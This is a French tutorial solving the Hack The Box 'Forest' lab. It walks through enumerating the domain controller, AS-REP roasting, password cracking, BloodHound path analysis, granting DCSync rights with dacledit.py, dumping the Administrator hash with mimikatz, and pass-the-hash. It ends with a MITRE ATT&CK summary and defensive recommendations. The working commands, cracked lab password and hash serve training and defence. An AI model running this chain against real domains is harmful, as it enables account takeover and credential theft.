Compromission Active Directory – Le cas de la Box Forest de Hack The Box

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Forest, de difficulté "Facile". Cette box date un peu, mais il s'agit d'un cas d'école de la compromission d'un domaine et le scénario d'attaque présenté et très similaire à ce que l'on peut trouver en conditions réelles.

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs 🙂

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'Hack The Box et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordées	Windows, Active Directory, RPC, LDAP
Outils utilisés	nmap, ldapsearch, ,impacket, johntheripper, evil-winrm, rpcclient, net rpc, SharpHound.exe, BloodHound, mimikatz.exe

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Résolution de la box Forest

A. Découverte et énumération

À ce stade, nous avons une seule information en notre possession : l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ sudo nmap -p- --max-retries 1 -T4 -A -sC -sV --open 10.10.10.161

PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-05-09 10:14:01Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49684/tcp open  msrpc        Microsoft Windows RPC
49706/tcp open  msrpc        Microsoft Windows RPC

Host script results:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   FQDN: FOREST.htb.local

Un service DNS (TCP/53), un service LDAP (TCP389 et TCP/636) et un service Kerberos (TCP/88). Aucun doute, il s'agit d'un contrôleur de domaine. D'après mon expérience, les seuls systèmes au sein d'un système d'informations susceptibles de présenter ces trois services en écoute sont les contrôleurs de domaine, les vSphere et certains NAS.

L'objectif va donc être pour nous, à partir d'un mode opératoire en boite noire (aucun identifiant valide), d'obtenir des premiers accès authentifiés pour passer en mode opératoire boite grise (un compte non privilégié sur le domaine) puis d'élever nos privilèges jusqu'à obtenir les droits d'administration sur le domaine.

Retrouvez notre cours complet sur Nmap en suivant ce lien :

• IT-Connect - Maîtrisez Nmap pour la cartographie réseau et le scan de vulnérabilités

Dans un premier temps, il nous faut identifier le nom de domaine du contrôleur de domaine. Les scripts NSE de "nmap" nous ont déjà donné l'information, mais pour l'exemple, je vous montre comment le faire en utilisant "ldapsearch" et les "namingcontexts" :

Technique d'attaque (MITRE ATT&CK) : T1590.001 - Gather Victim Network Information: Domain Properties

$ ldapsearch -h 10.10.10.161 -x -s base namingcontexts

namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local

Ici, j'utilise donc "ldapsearch" pour requêter sans authentification la base de l'annuaire ("-s base") et plus précisément son "namingcontexts" (contextes de nommage). Il s'agit tout simplement du point de départ dans l'arbre LDAP à partir duquel les branches et les objets sont organisés. Ces informations sont considérées comme publiques, car elles sont nécessaires pour comprendre la structure de l'annuaire LDAP et échanger avec celui-ci.

B. Compromission d'un compte du domaine

À présent, nous allons commencer à attaquer les différents services accessibles. Une vulnérabilité très fréquente sur les contrôleurs de domaine et la présence du service RPC (Remote Procedure Call) acceptant les connexions en null session (sans authentification), autorisant alors la récupération d'informations sur l'annuaire. J'utilise pour cela l'outil "rpcclient" :

Technique d'attaque (MITRE ATT&CK) : T1110.001 - Brute Force: Password Guessing

$ rpcclient -U "" -N 10.10.10.161 -c "enumdomusers;quit"

La commande "rpcclient" utilisée se connecte donc au service RPC du contrôleur de domaine puis exécute les commandes "enumdomusers" puis "quit". Lorsque l'on dispose d'un accès valide à un service RPC sur un contrôleur de domaine, cette commande permet tout simplement de récupérer la liste des utilisateurs de l'annuaire. Dans le cas présent, le null session est bien autorisé et je parviens à récupérer une liste complète des logins :

Technique d'attaque (MITRE ATT&CK) : T1087.002 - Account Discovery: Domain Account

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
[...]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Aussi étonnant que cela puisse paraitre, cette vulnérabilité est loin d'être rare au sein des systèmes d'informations, surtout sur ceux disposant d'un certain historique.

Les raisons qui poussent les administrateurs à configurer un service RPC acceptant les accès anonyme/null session sont souvent obscures, mais il s'agit très probablement d'une action faite pour des raisons de compatibilité avec de vieilles applications.

Cette liste d'utilisateurs est très intéressante pour un attaquant qui est en boite noire. Il possède maintenant une liste précise et exhaustive des comptes du domaine qu'il doit attaquer. Pour compromettre un compte, il faut un login et un mot de passe, nous possédons déjà 50 % de l'information nécessaire.

Nous allons à présent utiliser cette liste complète des utilisateurs de l'Active Directory pour tenter de découvrir un compte ayant l'attribut "Do not require Kerberos pre-authentication". Autrement dit, ceci nous permettrait de mettre en œuvre une attaque ASREPRoasting.

Technique d'attaque (MITRE ATT&CK) : T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting

$ impacket-getNPUsers htb.local/ -dc-ip 10.10.10.161 -request -usersfile /home/mdy/Documents/HTB/Forest/user.txt 
[email protected]:6df48d113f512345f146daaf53529b41$b95ae[...]228bce3c72c

L'Active Directory possède bien un utilisateur avec cet attribut : "HTB.LOCAL\SVC-ALFRESCO". Nous parvenons alors à récupérer un TGT (Ticket Granting Ticket) en son nom et signé avec une clé dérivée de son mot de passe. Un bon début !

Si vous souhaitez en apprendre plus sur cette faiblesse très commune et fréquemment exploitée, je vous oriente vers mon article qui étudie en détail l'ASREPRoasting :

• IT-Connect - Sécurité de l’Active Directory : comprendre et se protéger de l’attaque ASREPRoast

Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking

À présent, nous allons tenter de casser la donnée chiffrée contenue dans le TGT récupéré. Si le mot de passe de l'utilisateur "HTB.LOCAL\SVC-ALFRESCO" est suffisamment faible, la donnée chiffrée nous permettra de récupérer son mot de passe. J'utilise pour cela l'outil "John The Ripper" et la fameuse wordlist "rockyou.txt" :

$ john TGT_svc.txt --wordlist=/usr/share/wordlists/rockyou.txt
[...]
s3rvice          ([email protected])

Le mot de passe faible de l'utilisateur "HTB.LOCAL\SVC-ALFRESCO" a été retrouvé à partir de son TGT. Nous avons maintenant un accès authentifié à l'Active Directory et venons de passer d'une attaque boite noire à boite grise. Nous pouvons notamment tenter d'accéder à tous les services exposés par la cible avec notre compte afin de voir s'il dispose de privilèges spéciaux :

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

$ evil-winrm  -u "svc-alfresco" -p "s3rvice" -i 10.10.10.161
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> cat user.txt
e5e4e47ae7022664cda6eb013fb0d9ed

L'utilisateur a les permissions de se connecter via winRM, il fait donc probablement partie du groupe "Remote Management Users", ce que nous pouvons confirmer avec une simple commande :

C. Recherche de chemins d'attaque via BloodHound

Avec un accès authentifié sur un domaine et en plus la possibilité d'exécuter des commandes sur un système qui y est intégré, nous pouvons en apprendre énormément sur ce domaine. Nous pouvons commencer par récupérer les informations sur les objets, attributs et leurs relations avec SharpHound en vue de les intégrer à BloodHound.

Expliquer l'utilisation et le fonctionnement de BloodHound nécessiterait plusieurs articles. Mais, bonne nouvelle, un cours complet est disponible sur IT-Connect :

• IT-Connect - Identifiez les faiblesses de votre Active Directory avec BloodHound

Je commence donc par utiliser l'outil "evil-winrm" pour déposer sur le système "SharpHound.exe", le collecteur de données pour BloodHound :

Technique d'attaque (MITRE ATT&CK) : T1608.002 - Stage Capabilities: Upload Tool

upload /home/user/Downloads/SharpHound.exe

J'exécute ensuite "SharpHound.exe", qui va récolter tout un tas d'informations et les stocker dans une archive qui me servira à alimenter BloodHound :

Technique d'attaque (MITRE ATT&CK) : T1069.002 - Permission Groups Discovery: Domain Groups

Avec ces informations, nous allons pouvoir investiguer précisément sur les chemins d'attaque possibles sur le domaine, et notamment ceux qui commencent par l'objet que nous avons compromis : "HTB.LOCAL\SVC-ALFRESCO". Je commence notamment par marquer cet utilisateur comme "Owned" dans BloodHound :

Si l'on résume ce chemin d'attaque, "HTB.LOCAL\SVC-ALFRESCO" est membre de "SERVICE ACCOUNT", qui est membre de "PRIVILEGED IT ACCOUNTS", qui est membre de "ACCOUNTS OPERATORS", mais ce n'est pas tout !

Les membres du groupes "ACCOUNTS OPERATORS" ont les droits "Generic All" sur "EXCHANGE WINDOWS PERMISSIONS", qui a les droits "Write DACL" sur le domaine "HTB.local", qui contient naturellement les groupes et utilisateurs d'administration du domaine. Vous noterez que d'autres chemins d'attaques sont également valides, floutés ici pour faciliter la lecture de celui que nous allons exploiter.

Dans BloodHound, la relation "GenericAll" signifie que le node source à tous les droits sur le node destination. Ici, notre utilisateur compromis peut, par l'intermédiaire d'appartenance à différents groupes, s'ajouter comme membre du groupe "EXCHANGE WINDOWS PERMISSIONS" et ainsi profiter des permissions que cela procure.

https://support.bloodhoundenterprise.io/hc/en-us/articles/17312347318043-GenericAll

À noter que nous avons les droits "genericAll" sur ce groupe, mais nous n'en sommes pas encore membres et ne profitons pas encore des permissions associées. Nous allons ici utiliser la commande "net rpc" sous Linux pour effectuer cet ajout de l'utilisateur "HTB.LOCAL\SVC-ALFRESCO" dans le groupe "EXCHANGE WINDOWS PERMISSIONS" :

$ net rpc group addmem "EXCHANGE WINDOWS PERMISSIONS" svc-alfresco -U HTB.LOCAL/svc-alfresco -S 10.10.10.161Password for [HTB.LOCAL\svc-alfresco]:

D. Compromission du domaine via l'attaque DCSync

À présent et grâce à notre appartenance au groupe "EXCHANGE WINDOWS PERMISSION", nous avons les droits "writeDACL" sur le domaine.

Dans BloodHound, la relation "writeDACL" signifie que le node source peut modifier les droits d'accès (Discretionary Access List) du node destination. Autrement dit, nous pouvons modifier les DACL de n'importe quel objet du domaine puisque que dans notre cas la relation s'applique au node domaine.

Nous allons utiliser ce privilège pour créer les conditions d'une attaque "DCSync" à partir de notre compte utilisateur compromis en utilisant "dacledit.py", un script basé sur la librairie Python "impacket", pour modifier les DACL d'un objet depuis un système Linux.

DCSync est une attaque utilisée pour récupérer les hachages de mot de passe NTLM des comptes d'utilisateur à partir du contrôleur de domaine. L'attaquant va simuler l'action d'un contrôleur de domaine légitime qui souhaite se synchroniser avec le contrôleur principal. Cette technique permet à un attaquant de compromettre des comptes sans avoir besoin des mots de passe réels, facilitant ainsi l'escalade des privilèges et la propagation latérale. Pour pouvoir réussir cette attaque, le compte utilisateur utilisé a besoin de privilèges très spéciaux, accordés normalement qu'à d'autres contrôleurs de domaine : "DS-Replication-Get-Changes" et "DS-Replication-Get-Changes-All".

Étant donné que nous avons les droits de modifier les DACL du domaine , et donc de n'importe quel objet dans ce domaine, il nous est permis d'ajouter les DACL requises pour effectuer une attaque DCSync. Je vais ici utiliser le script dacledit.py :

python3 examples/dacledit.py -action 'write' -rights 'DCSync' -principal 'svc-alfresco' -target-dn 'DC=htb,DC=local' HTB.LOCAL/svc-alfresco:s3rvice -dc-ip 10.10.10.161

Nous avons en retour une confirmation de la modification des DACL :

Une fois que nous avons des droits privilégiés grâce à notre désormais "super" utilisateur, plusieurs outils et méthodes existent pour récupérer des informations sensibles sur un hôte compromis ou sur le domaine. Nous allons ici utiliser l'un des plus connus : "mimikatz.exe". Je commence par le déposer sur le système via WinRM :

Technique d'attaque (MITRE ATT&CK) : T1608.002 - Stage Capabilities: Upload Tool

$ evil-winrm -u "[email protected]" -p "s3rvice" -i 10.10.10.161
> upload /usr/share/responder/tools/MultiRelay/bin/mimikatz.exe

Nous allons maintenant opérer l'attaque DCSync sur le domaine pour récupérer le hash du mot de passe de l'utilisateur "Administrator".

Technique d'attaque (MITRE ATT&CK) : T1003.006 - OS Credential Dumping: DCSync

> ./mimikatz.exe "lsadump::dcsync /domain:HTB.LOCAL /user:Administrator" exit

Voici ce que l'on obtient alors :

mimikatz effectue donc l'attaque DCSync et nous récupérons le hash de l'utilisateur "Administrator", que nous pouvons utiliser toujours sur le service WinRM :

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

$ sudo /opt/evil-winrm/evil-winrm.rb  -u "Administrator" -H "32693b11e6aa90eb43d32c72a07ceea6" -i 10.10.10.161
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
f048[REDACTED]4d79129cc

Nous voilà maitre du domaine Active Directory et du contrôleur de domaine. Pour rappel, la totalité des attaques réalisées sur cette box sont très réalistes et elles reflètent parfaitement ce que l'on peut trouver sur certains systèmes d'information.

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)	Détails
T1046 - Network Service Discovery	Réalisation d'un balayage réseau via "nmap" pour découvrir les services exposés.
T1590.001 - Gather Victim Network Information: Domain Properties	Utilisation de "ldapsearch" pour récupérer le namingcontext de l'Active Directory.
T1110.001 - Brute Force: Password Guessing	Utilisation de "rpcclient" en null session.
T1087.002 - Account Discovery: Domain Account	Récupération de la liste des utilisateurs du domaine avec la commande "enumdomusers" via RPC.
T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting	Exécution d'une attaque ASREPRoast en utilisant "impacket-getNPUsers" et la liste complète des utilisateurs du domaine.
T1110.002 - Brute Force: Password Cracking	Cassage du TGT de l'utilisateur" HTB.LOCAL\SVC-ALFRESCO" récupéré via ASREPRoast.
T1021.006 - Remote Services: Windows Remote Management	Authentification et accès au service winRM via "evil-winrm" et les identifiants de l'utilisateurs "HTB.LOCAL\SVC-ALFRESCO".
T1608.002 - Stage Capabilities: Upload Tool	Dépôt et exécution de "SharpHound.exe" pour récupérer les données de l'Active Directory.
T1069.002 - Permission Groups Discovery: Domain Groups	Découverte et exploitation des appartenances de "HTB.LOCAL\SVC-ALFRESCO" et des chemins d'attaques sur le domaine via "BloodHound".
T1608.002 - Stage Capabilities: Upload Tool	Dépôt de "mimikatz.exe" sur le serveur via winRM.
T1003.006 - OS Credential Dumping: DCSync	Réalisation d'une attaque DCSync pour récupérer le hash du mot de passe de l'administrateur du domaine.
T1021.006 - Remote Services: Windows Remote Management	Accès au service winRM en utilisant le hash de l'administrateur du domaine

IV. Notions abordées

A. Côté attaquant

Il n'y pas grand-chose à conseiller au niveau de l'attaquant pour améliorer sa démarche. Comme dit précédemment, le chemin de compromission exécuté ici est un cas d'école parfait et est très représentatif de l'ensemble des vulnérabilités basiques que l'on peut trouver sur un domaine. Aussi basiques qu'elles puissent paraitre, ces techniques et attaques sont souvent fructueuses.

Pour aller plus loin dans notre démarche, il faut rappeler que dans un environnement réel, des SIEM (Security information and event management), SOC (Security Operation Center), antivirus, EPP (Endpoint Protection), EDR (Endpoint Detection and Response), et autre IPS/IDS sont parfois présents (pas systématiquement d'ailleurs).

Ainsi, un bon attaquant doit aussi savoir exécuter ces mêmes attaques sans lever d'alerte. Il est pour cela très important de savoir quels évènement de sécurité peuvent générer nos attaques et comment être plus discret lors de leur exécution. Ainsi, n'hésitez pas à monter votre propre lab d'attaque/détection afin de voir quelles alertes produisent vos attaques.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : interdire l'authentification RPC en null session. Celle-ci est souvent autorisée sur les contrôleurs de domaine pour des raisons de compatibilités qui ne sont plus nécessaires aujourd'hui. Même si des applications persistent à nécessiter ce paramétrage, il vaut mieux trouver d'autres solutions.

Recommandation n°2 : après avoir vérifié pourquoi cet attribut a été paramétré sur ce compte et validé qu'il n'est plus nécessaire, il est recommandé de supprimer l'attribut "Do not require Kerberos pre-authentication" sur l'objet l'utilisateur "HTB.LOCAL\SVC-ALFRESCO". Si cet attribut est nécessaire pour des raisons techniques, il est recommandé de paramétrer un mot de passe très robuste (plus de 25 caractères) pour le compte concerné.

Vous trouverez d'autres recommandations concernant cette attaque, et notamment sa détection, dans mon article sur le sujet :

• IT-Connect - Sécurité de l’Active Directory : comprendre et se protéger de l’attaque ASREPRoast

Recommandation n°3 : il est recommandé de vérifier la légitimité de l'appartenance de l'utilisateur "HTB.LOCAL\SVC-ALFRESCO" au groupe "Remote Management Users" et de supprimer cette appartenance si elle ne répond pas à un besoin identifié et justifié. Si le compte en question est bien un compte de service, il est probable que ce privilège ne soit pas réellement requis.

Recommandation n°4 : également, il est recommandé de mettre en place une solution antivirale, EPP ou EDR sur le système. Dans le cas présent, l'attaquant a pu déposer et exécuter sans encombre des outils de récolte, d'analyse et d'attaque ("SharpHound.exe" et "mimikatz.exe"). Une solution de sécurité active sur l'hôte permettrait notamment de ralentir l'attaquant, voire de trahir sa présence en cas d'alerte.

Recommandation n°5 : enfin, il est recommandé de corriger les chemins d'attaque présents au sein de l'Active Directory. Il s'agit notamment de l'appartenance indirecte au groupe "ACCOUNT OPERATORS" de l'utilisateur "HTB.LOCAL\SVC-ALFRESCO" et des groupes intermédiaires. Sur tous les annuaires Active Directory et tout système d'information, il est recommandé de rechercher de manière proactive les chemins d'attaque pouvant mener à la compromission du domaine.

Vous trouverez tous les détails, astuces et éléments de compréhension nécessaire pour cela dans mon cours :

• IT-Connect - Identifiez les faiblesses de votre Active Directory avec BloodHound

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy